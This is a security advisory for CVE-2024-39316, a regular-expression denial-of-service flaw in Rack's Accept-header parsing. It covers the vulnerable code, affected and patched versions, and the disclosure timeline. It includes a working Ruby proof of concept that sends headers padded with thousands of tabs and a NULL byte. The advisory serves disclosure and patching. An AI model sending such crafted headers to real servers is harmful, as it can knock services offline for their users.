CVE-2024-39316: Regular Expression Denial-of-Service (ReDoS) in Rack
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the Rack::Request::Helpers
module when parsing HTTP Accept headers. This vulnerability can be exploited by an attacker sending specially crafted Accept-Encoding
or Accept-Language
headers, causing the server to spend excessive time processing the request and leading to a Denial of Service (DoS).
Details
The vulnerability is located in the parse_http_accept_header
method, which uses regular expressions to split and parse the headers. When given a malicious input containing a large number of whitespace chars followed by a NULL, the regular expression matching becomes extremely slow, leading to a ReDoS attack.
Vulnerable code in lib/rack/request.rb
at line 637-646:
def parse_http_accept_header(header)
header.to_s.split(/\s*,\s*/).map do |part|
attribute, parameters = part.split(/\s*;\s*/, 2)
quality = 1.0
if parameters and /\Aq=([\d.]+)/ =~ parameters
quality = $1.to_f
end
[attribute, quality]
end
end
This method is used by the accept_encoding
(lib/rack/request.rb:607-609
) and accept_language
(lib/rack/request.rb:611-613
) methods:
def accept_encoding
parse_http_accept_header(get_header("HTTP_ACCEPT_ENCODING"))
end
def accept_language
parse_http_accept_header(get_header("HTTP_ACCEPT_LANGUAGE"))
end
accept_encoding
is also occurs during the Rack::Deflater
initialization (lib/rack/deflater.rb:55-56
).
encoding = Utils.select_best_encoding(%w(gzip identity),
request.accept_encoding)
Proof of Concept
To replicate this vulnerability, execute the following Ruby code:
require 'benchmark'
require 'rack'
class ParseHttpAcceptHeader
def call(env)
request = Rack::Request.new(env)
encoding = request.accept_encoding
language = request.accept_language
response_body = "Accepted Encodings: #{encoding.join(', ')}\n" +
"Accepted Languages: #{language.join(', ')}"
[200, { 'Content-Type' => 'text/plain' }, [response_body]]
end
end
class AppWithDeflater
def call(env)
response_body = "This is a response that will be compressed if the client supports it."
[200, { 'Content-Type' => 'text/plain' }, [response_body]]
end
end
app = ParseHttpAcceptHeader.new
app_with_deflater = Rack::Builder.new do
use Rack::Deflater
run AppWithDeflater.new
end
mock_env1 = Rack::MockRequest.env_for(
'/',
'HTTP_ACCEPT_ENCODING' => ("\t" * 31337) + "\x00, gzip, deflate",
'HTTP_ACCEPT_LANGUAGE' => 'en-US, en;q=0.9, id;q=0.8'
)
mock_env2 = Rack::MockRequest.env_for(
'/',
'HTTP_ACCEPT_ENCODING' => 'gzip, deflate',
'HTTP_ACCEPT_LANGUAGE' => ("\t" * 31337) + "\x00;en-US, en;q=0.9, id;q=0.8"
)
Benchmark.bm do |x|
x.report("HTTP_ACCEPT_ENCODING") do
1000.times do
app.call(mock_env1)
end
end
x.report("HTTP_ACCEPT_LANGUAGE") do
1000.times do
app.call(mock_env2)
end
end
x.report("HTTP_ACCEPT_ENCODING_2") do
1000.times do
app_with_deflater.call(mock_env1)
end
end
end
By running that code, you can observe the performance implications on the server when handling such maliciously crafted HTTP headers. The first two scenarios test the impact of large and malformed HTTP_ACCEPT_ENCODING
and HTTP_ACCEPT_LANGUAGE
headers, respectively. The third scenario tests the vulnerability’s effect when the deflater middleware is applied specifically to the HTTP_ACCEPT_ENCODING
header. Note that these scenarios are simulated using mocked environments for demonstration purposes.
Impact
Any unauthenticated user could exploit this vulnerability in apps that explicitly call the accept_encoding
and accept_language
methods of the Rack::Request::Helpers
module, as well as implicitly in apps using middleware such as Rack::Deflater
or the Action Pack gem. By sending specially crafted requests, an attacker could cause the server to spend excessive time processing the request, potentially making the server unavailable.
Affected versions
This vulnerability affects Rack versions greater than 3.0.0 and up to and including 3.1.4.
Patched versions
This vulnerability is fixed in Rack version 3.1.5 and later.
Timeline (GMT+7)
- 02-07-2024 03:13 AM: Vulnerability reported and patch provided.
- 02-07-2024 03:30 AM: Ruby ports maintainer acknowledged the report.
- 02-07-2024 03:30 AM: Ruby ports maintainer discovered that Rails, via Action Pack, may call the affected method by default.
- 02-07-2024 04:26 AM: Ruby ports maintainer proposed an optimized patch.
- 02-07-2024 07:24 AM: I just discovered another occurrence in
Rack::Deflater
. - 02-07-2024 08:06 AM: Maintainer acknowledged the report.
- 02-07-2024 08:07 AM: Maintainer coordinated release of fixes.
- 02-07-2024 08:35 AM: Maintainer approved the proposed patch.
- 02-07-2024 11:27 AM: Ruby ports maintainer approved the proposed patch.
- 02-07-2024 11:29 AM: Maintainer merged the patch.
- 02-07-2024 01:45 PM: Maintainer tagged the fix in Rack v3.1.5.
- 02-07-2024 01:48 PM: CVE requested and advisory published.
- 02-07-2024 02:17 PM: Reported to IBB.
- 02-07-2024 07:57 PM: GitHub staff assigned the CVE.
- 02-07-2024 10:01 PM: HackerOne staff triaged the report and started the check process.